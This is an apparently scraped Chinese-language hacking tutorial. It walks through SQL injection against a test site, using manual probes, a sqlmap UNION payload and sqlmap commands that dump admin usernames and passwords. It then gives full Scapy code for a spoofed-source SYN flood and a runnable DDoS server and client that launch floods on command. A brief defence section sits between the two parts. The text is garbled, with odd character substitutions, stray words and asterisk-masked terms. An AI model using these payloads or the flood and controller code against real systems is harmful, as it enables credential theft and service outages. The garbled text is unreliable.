經過對SQL注入的演示,讓你們瞭解SQL注入漏洞的方式,並學習應對此種漏洞的防護方法。php
操做機IP地址:172.16.11.2html
一、第一步,判斷注入點字符仍是數字
字符型
' and 'a'=a'
' and 'a'='bpython
數字型
and 1=1
and 1=2
二、判斷列數,使用order by n(n爲數字)
(1) order by 14報錯,說明列數少於14
(2) order by 10沒報錯,說明列數>=10
(3) 13不報錯,14錯,說明列數13個。
也就是後臺語句
select from table where id = 2
這裏的的列數有13列,而union的做用是聯合,也就在原來id=2的數據上,再加上咱們想要的數據,這裏union all select的列數必須和前面的同樣,也就是13
三、假如第二步n爲10,union select 1,2,3,4,5,6,7,8,9,10
(1) n爲13,因此union select 1,.......13
(2)爲何要將2變成-2,是由於想讓原來的select,也就是(select * from table where id = 2 )的結果爲空,只留下咱們的union select 1,......13(...爲省略)
(3)若是不變成-2,看一下結果---》咱們的數據沒有出來,因此爲了出數據,要將id變成負的
(4)這裏使用1到13的數字,要是那個數字在頁面顯示或者出現,就表明那個列能夠獲取數據。這裏,是6和7
四、sqlmap的payload,如今能夠看一下
id=-1285 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7158766471,0x44534b46536d76474b4e,
0x7174676d71),NULL,NULL,NULL,NULL,NULL,NULL#
你數數concat是第幾列,第7個。而後select後面的數據一共是多少列,13個。和咱們本身分析的同樣,因爲第6和第7是出數據的列,因此只要哪裏寫上咱們想要的數據就好
mysql
首先打開目標站點www.test.com找注入點,打開文章中心隨便點一篇文章,頁面地址爲http://www.test.com/Art_Show.php?id=2,首先在id=2後面加一個單引號來判斷這是不是一個注入點,返回了一個錯誤提示更新點擊數出現錯誤!。
能夠看見url裏有一個id=2,能夠根據這個判斷他是由get請求進行提交的,由於經過get請求提交的,提交的數據會在url裏進行體現,而這個也是咱們能夠利用的地方。
如今替換一個注入查詢語句換成 and 1=1,頁面並無出現變化,再換成 and 1=2。
這裏出現了一個錯誤提示,更新點擊數出現錯誤,這樣說明咱們輸入的and 1=1 和and 1=2在數據庫內執行了,由於and 1=1這條查詢語句就永爲真,它就會繼續執行,and 1=2 這條語句就爲假,查詢語句沒法繼續執行,就會返回錯誤,這樣咱們就能夠初步判斷這個url地址是一個注入點。
web
將注入點放到sqlmap裏進行進一步的判斷。Python sqlmap.py –u "http://www.test.com/Art_Show.php?id=2"
返回信息提示這是一個注入點而且返回對方系統的信息,系統是windows,Web容器是apache2.4.9版本,語言php5.2.17版本,目標數據庫是mysql5.0.11版本。sql
Python sqlmap.py –u "http://www.test.com/Art_Show.php?id=2" --dbs
使用如下命令進行注入測試,獲取數據庫內全部數據庫的名稱,返回信息目標數據庫內有五個數據庫:mys mysql test information_schema performance_schema
使用如下命令查看
Python sqlmap.py –u "http://www.test.com/Art_Show.php?id=2" --current–db
網站所依賴的數據庫的名稱,返回信息依賴的數據庫爲mys
數據庫
使用如下命令
Python sqlmap.py –u "http://www.test.com/Art_Show.php?id=2" -D mys --tables
獲取mys數據庫內表信息。
mys數據庫下一共有十四個表,使用命令獲取: Python sqlmap.py –u "http://www.test.com/Art_Show.php?id=2" -D mys -T zzcms_admin --columns
zzcms_admin表內列的信息。
使用如下命令:
Python sqlmap.py –u "http://www.test.com/Art_Show.php?id=2" -D mys -T zzcms_admin –C name,password --dump
對這name和password兩個列進行查詢並獲取KEY。
獲取帳號和密碼。apache
使用wvs工具掃出web後臺管理
http://www.test.com/AdminLogin.php使用帳號admin密碼登陸
編程
1.普通用戶與系統管理員的權限要有嚴格的區分 分爲administrator和普通用戶,權限讀寫執行分開。 2.強迫使用參數化語句 一般狀況下咱們的SQL語句多是這樣: select * from UserInfo where sex=0 在參數化SQL語句中咱們將數值以參數化的形式提供,對於上面的查詢,咱們用參數化SQL語句表示爲: select * from UserInfo where sex=@sex 3.增強對用戶輸入的驗證 user() 返回你鏈接server時候指定的用戶和主機 current_user() 返回在mysql.user表中匹配到的用戶和主機,這將肯定你在數據庫中的權限 4.多使用數據庫自帶的安全參數 1.將#skip-networking註釋去掉。 2.max_user_connections 限制鏈接數。 3.用戶目錄權限限制。 5.使用專業的漏洞掃描工具來尋找可能被***的點 Wvs等工具
驗證: http://www.test.com/Art_Show.php?Id=2 Payload:Id=2 AND 2039=2039 Payload:id=-1285 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7158766471,0x44534b46536d76474b4e, 0x7174676d71),NULL,NULL,NULL,NULL,NULL,NULL#
本次實驗將使用python3版本的Scapy--Scapy3k來實現一個簡單的Dos。windows
SYN***利用的是TCP的三次握手機制,***端利用僞造的IP地址向被***端發出請求,而被***端發出的響應 報文將永遠發送不到目的地,那麼被***端在等待關閉這個鏈接的過程當中消耗了資源,若是有成千上萬的這種鏈接,主機資源將被耗盡,從而達到***的目的。
SYN泛洪***(SYN Flood)是一種比較經常使用的DoS方式之一。經過發送大量僞造的Tcp鏈接請求,使被***主機資源耗盡(一般是CPU滿負荷或者內存不足) 的***方式。
咱們都知道創建Tcp鏈接須要完成三次握手。正常狀況下客戶端首先向服務端發送SYN報文,隨後服務端回以SYN+ACK報文到達客戶端,最後客戶端向服務端發送ACK報文完成三次握手。
而SYN泛洪***則是客戶端向服務器發送SYN報文以後就再也不響應服務器迴應的報文。因爲服務器在處理TCP請求時,會在協議棧留一塊緩衝區來存儲握手的過程,固然若是超過必定的時間內沒有接收到客戶端的報文,本次鏈接在協議棧中存儲的數據將會被丟棄。***者若是利用這段時間發送大量的鏈接請求,所有掛起在半鏈接狀態。這樣將不斷消耗服務器資源,直到拒絕服務。
Scapy3k其實就是Scapy的Python3版本,如下我就簡稱Scapy。Scapy是一個強大的交互式數據包處理程序。可用來發送、嗅探、解析和僞造網絡數據包。在網絡***和***測試中應用很是普遍。Scapy是一個獨立的程序同時還能夠做爲Python的第三方庫使用。
sudo pip3 install scapy-python3
如今運行scapy。
sudo scapy
這裏須要注意:Scapy發送數據包須要root權限,因此這裏咱們加上了sudo。另外運行的時候會出現一些警告信息,咱們此次實驗沒有用到相關的功能能夠不用管,須要用的安裝相應的依賴包就能夠了。
IP(src="202.121.0.12",dst="192.168.0.100")/TCP(dport=80,flags="S")
咱們構造了一個IP包和TCP包並將它們組合到一塊,這樣就有了一個完整的TCP數據包,不然是沒法發送出去的。IP包中咱們指定了源地址src和目的地址dst,其中src是咱們僞造的地址,固然這也是DoS***中保護***者的一種方式。flags的值咱們設定爲S,說明咱們要發送的是SYN數據包。很是簡短的一段指令就夠造了一個僞造了源IP地址的SYN數據包。
Send(pkt)
import random #引入random和scapy模塊 from scapy.all import * def synFlood(tgt,dPort): #定義一個函數,傳遞2個參數, srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199'] for sPort in range(1024,65535): #定義了一個循環,做用是每次發送數據包源端口都改變 # 能夠看到在構造TCP數據包的時候增長了一個參數sport # 循環中改變的端口號就是給了sport這個參數。調用random.randrange()函數來隨機從srcList中獲取一個僞造的IP地址。 index = random.randrange(4) ipLayer = IP(src=srcList[index], dst=tgt) tcpLayer = TCP(sport=sPort, dport=dPort,flags="S") packet = ipLayer / tcpLayer send(packet)
已經實現了SYN泛洪***,而DDoS則是多臺主機一塊兒發起***,咱們只須要能發送命令,讓鏈接到服務器的客戶端一塊兒向同一目標發起***就能夠了。
arse模塊 因爲Server端須要發送命令去控制Client端發起***,因此這裏咱們先規定好命令格式: '#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>'-H後面是被***主機的IP地址,-p指定被***的端口號,-c控制***的開始與中止。命令制定好了。 #導入argparse庫 import argparse #建立ArgumentParser對象 parser = argparse.ArgumentParser(description='Process some integers.') #添加參數 parser.add_argument('-p', dest='port', type=int,help='An port number!') #解析命令行參數 args = parser.parse_args() print('Port:',args.port) 解釋: 咱們建立了一個ArgumentParser對象,description參數是對命令行解析的一個描述信息,一般在咱們使用-h命令的時候顯示。add_argument添加咱們要解析的參數,這裏咱們只添加了一個-p參數,dest是經過parse_args()函數返回的對象中一個屬性的名稱。type你們應該很好理解,就是解析參數的類型。help指定的字符串是爲了自動生成幫助信息。argparse默認就支持-h參數,只要咱們在添加參數的時候指定了help的值就能夠生成幫助信息了。 Python中的socket提供了訪問BSDsocket的接口,能夠很是方便的實現網絡中的信息交換。一般咱們使用socket的時候須要指定ip地址、端口號以及協議類型。在進行socket編程以前咱們先了解一下客戶端(Client)和服務器(Server)的概念。通俗的講主動發起鏈接請求的稱爲客戶端,監聽端口響應鏈接的咱們稱爲服務器。 因爲Server端能等待Client主動鏈接,因此咱們在Server端發送命令,控制Client端發起SYN泛洪***。
import socket import argparse from threading import Thread socketList = [] #命令格式'#-H xxx.xxx.xxx.xxx -p xxxx -c <start|stop>' #發送命令 def sendCmd(cmd): print('Send command......') for sock in socketList: sock.send(cmd.encode('utf-8')) #等待鏈接 #新鏈接的socket要判斷一下是否在socketList中已經存儲過了,若是沒有的話就添加到socketList中。 def waitConnect(s): while True: sock,addr = s.accept() if sock not in socketList: socketList.append(sock) def main(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind(('0.0.0.0', 58868)) s.listen(1024) t = Thread(target=waitConnect,args=(s,)) t.start() #在主函數中咱們建立socket, 綁定全部網絡地址和58868端口並開始監聽,以後咱們新開一個線程來等待客戶端的鏈接,以避免阻塞咱們輸入命令。 print('Wait at least a client connection!') while not len(socketList): #在主函數中咱們第一次輸入命令以前須要至少有一個客戶端鏈接到服務器,因此這裏咱們判斷了一下socket的長度。 pass print('It has been a client connection!') #如今循環等待輸入命令,輸入以後判斷命令是否知足命令格式的基本要求,若是知足了,就把命令發送給全部客戶端。 while True: print('=' * 50) print('The command format:"#-H xxx.xxx.xxx.xxx -p xxxx -c <start>"') #等待輸入命令 cmd_str = input('Please input cmd:') if len(cmd_str): if cmd_str[0] == '#': sendCmd(cmd_str) if __name__ == '__main__': main()
import sys import socket import random import argparse from multiprocessing import Process from scapy.all import * import os isWorking = False curProcess = None def synFlood(tgt,dPort): #定義一個函數,傳遞2個參數, srcList = ['201.1.1.2','10.1.1.102','69.1.1.2','125.130.5.199'] for sPort in range(1024,65535): #定義了一個循環,做用是每次發送數據包源端口都改變 # 能夠看到在構造TCP數據包的時候增長了一個參數sport # 循環中改變的端口號就是給了sport這個參數。調用random.randrange()函數來隨機從srcList中獲取一個僞造的IP地址。 index = random.randrange(4) ipLayer = IP(src=srcList[index], dst=tgt) tcpLayer = TCP(sport=sPort, dport=dPort,flags="S") packet = ipLayer / tcpLayer send(packet) #命令格式'#-H xxx.xxx.xxx.xxx -p xxxx -c <start>' #處理命令 def cmdHandle(sock,parser): global curProcess while True: #接收命令 data = sock.recv(1024).decode('utf-8') if len(data) == 0: print('The data is empty') return if data[0] == '#': try: #解析命令 options = parser.parse_args(data[1:].split()) m_host = options.host m_port = options.port m_cmd = options.cmd #DDoS啓動命令 if m_cmd.lower() == 'start': if curProcess != None and curProcess.is_alive(): curProcess.terminate() curProcess = None os.system('clear') print('The synFlood is start') p = Process(target=synFlood,args=(m_host,m_port)) p.start() curProcess = p #DDoS中止命令 elif m_cmd.lower() =='stop': if curProcess.is_alive(): curProcess.terminate() os.system('clear') except: print('Failed to perform the command!') def main(): #添加須要解析的命令 p = argparse.ArgumentParser() p.add_argument('-H', dest='host', type=str) p.add_argument('-p', dest='port', type=int) p.add_argument('-c', dest='cmd', type=str) print("*" * 40) try: #建立socket對象 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) #鏈接到服務器端 s.connect(('127.0.0.1',58868)) print('To connected server was success!') print("=" * 40) #處理命令 cmdHandle(s,p) except: print('The network connected failed!') print('Please restart the script!') sys.exit(0) if __name__ == '__main__': main()
python3 ddoscli.py 客戶端
python3 ddo***v.py 服務端
記住這裏必定要用root權限來運行:先運行服務端再運行客戶端。
咱們輸入一個命令測試一下,爲了維護綠色的網絡環境,最好找個容許測試的站點:
#-H x.x.x.x -p 80 -c start
Client端已經開始發送數據包了,說明已經發起了SYN泛洪***。
參考文檔:
Sql注入:
http://www.freebuf.com/articles/web/34619.html
http://www.freebuf.com/articles/web/38315.html
DOS***和防護:
http://www.cnblogs.com/grefr/p/6094975.html
http://blog.csdn.net/jiangzhengdong/article/details/8119223
https://security.tencent.com/index.php/blog/msg/81